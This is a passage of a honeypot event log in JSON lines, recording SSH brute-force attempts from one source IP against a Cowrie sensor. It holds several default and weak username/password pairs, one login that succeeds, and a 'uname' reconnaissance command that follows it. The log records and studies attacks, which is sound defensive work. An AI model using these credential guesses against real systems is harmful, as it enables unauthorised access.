{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:19.329784Z","src_ip":"45.156.87.254","session":"300a67796202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:19.587186Z","src_ip":"45.156.87.254","session":"300a67796202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:20.681261Z","src_ip":"45.156.87.254","session":"300a67796202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45388,"dst_ip":"159.203.135.109","dst_port":22,"session":"a297d311645b","protocol":"ssh","message":"New connection: 45.156.87.254:45388 (159.203.135.109:22) [session: a297d311645b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:24.631828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:24.637249Z","src_ip":"45.156.87.254","session":"a297d311645b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:24.723429Z","src_ip":"45.156.87.254","session":"a297d311645b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:25.150459Z","src_ip":"45.156.87.254","session":"a297d311645b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:26.237599Z","src_ip":"45.156.87.254","session":"a297d311645b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60514,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3bd47a79f40","protocol":"ssh","message":"New connection: 45.156.87.254:60514 (159.203.135.109:22) [session: b3bd47a79f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:29.737281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:29.742500Z","src_ip":"45.156.87.254","session":"b3bd47a79f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:29.935567Z","src_ip":"45.156.87.254","session":"b3bd47a79f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:30.349000Z","src_ip":"45.156.87.254","session":"b3bd47a79f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.501831293106079,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:31.044011Z","src_ip":"139.135.63.141","session":"f117c444c5f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:31.434516Z","src_ip":"45.156.87.254","session":"b3bd47a79f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60536,"dst_ip":"159.203.135.109","dst_port":22,"session":"a976ba391c36","protocol":"ssh","message":"New connection: 45.156.87.254:60536 (159.203.135.109:22) [session: a976ba391c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:34.591032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:34.595592Z","src_ip":"45.156.87.254","session":"a976ba391c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:34.678546Z","src_ip":"45.156.87.254","session":"a976ba391c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:34.930531Z","src_ip":"45.156.87.254","session":"a976ba391c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:36.017180Z","src_ip":"45.156.87.254","session":"a976ba391c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.172.255.130","src_port":33177,"dst_ip":"10.17.0.5","dst_port":23,"session":"2318771971ed","protocol":"telnet","message":"New connection: 175.172.255.130:33177 (10.17.0.5:23) [session: 2318771971ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:37.531665Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57410,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1078f5ed87","protocol":"ssh","message":"New connection: 45.156.87.254:57410 (159.203.135.109:22) [session: 4c1078f5ed87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:39.403844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:39.414239Z","src_ip":"45.156.87.254","session":"4c1078f5ed87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:39.501686Z","src_ip":"45.156.87.254","session":"4c1078f5ed87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:39.780219Z","src_ip":"45.156.87.254","session":"4c1078f5ed87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:40.957440Z","src_ip":"45.156.87.254","session":"4c1078f5ed87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":58244,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef6e1978b275","protocol":"telnet","message":"New connection: 20.123.41.163:58244 (10.17.0.5:23) [session: ef6e1978b275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:43.830228Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57438,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c77d97998c2","protocol":"ssh","message":"New connection: 45.156.87.254:57438 (159.203.135.109:22) [session: 4c77d97998c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:44.277583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:44.282368Z","src_ip":"45.156.87.254","session":"4c77d97998c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:44.365686Z","src_ip":"45.156.87.254","session":"4c77d97998c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:44.620412Z","src_ip":"45.156.87.254","session":"4c77d97998c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:45.814521Z","src_ip":"45.156.87.254","session":"4c77d97998c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.63028168678284,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:47.501665Z","src_ip":"20.123.41.163","session":"4ae622ce575d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59228,"dst_ip":"159.203.135.109","dst_port":22,"session":"87d763dfdc99","protocol":"ssh","message":"New connection: 45.156.87.254:59228 (159.203.135.109:22) [session: 87d763dfdc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:49.284730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:49.289178Z","src_ip":"45.156.87.254","session":"87d763dfdc99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:49.385054Z","src_ip":"45.156.87.254","session":"87d763dfdc99","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:49.643769Z","src_ip":"45.156.87.254","session":"87d763dfdc99","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:49.851168Z","src_ip":"45.156.87.254","session":"87d763dfdc99","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:49.854536Z","src_ip":"45.156.87.254","session":"87d763dfdc99","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:49.941271Z","src_ip":"45.156.87.254","session":"87d763dfdc99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:49.945673Z","src_ip":"45.156.87.254","session":"87d763dfdc99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.567469120025635,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:50.098991Z","src_ip":"175.172.255.130","session":"2318771971ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":58248,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea430d4f1f0b","protocol":"telnet","message":"New connection: 20.123.41.163:58248 (10.17.0.5:23) [session: ea430d4f1f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:51.442736Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59244,"dst_ip":"159.203.135.109","dst_port":22,"session":"15e529acbca7","protocol":"ssh","message":"New connection: 45.156.87.254:59244 (159.203.135.109:22) [session: 15e529acbca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:54.403580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:54.408074Z","src_ip":"45.156.87.254","session":"15e529acbca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 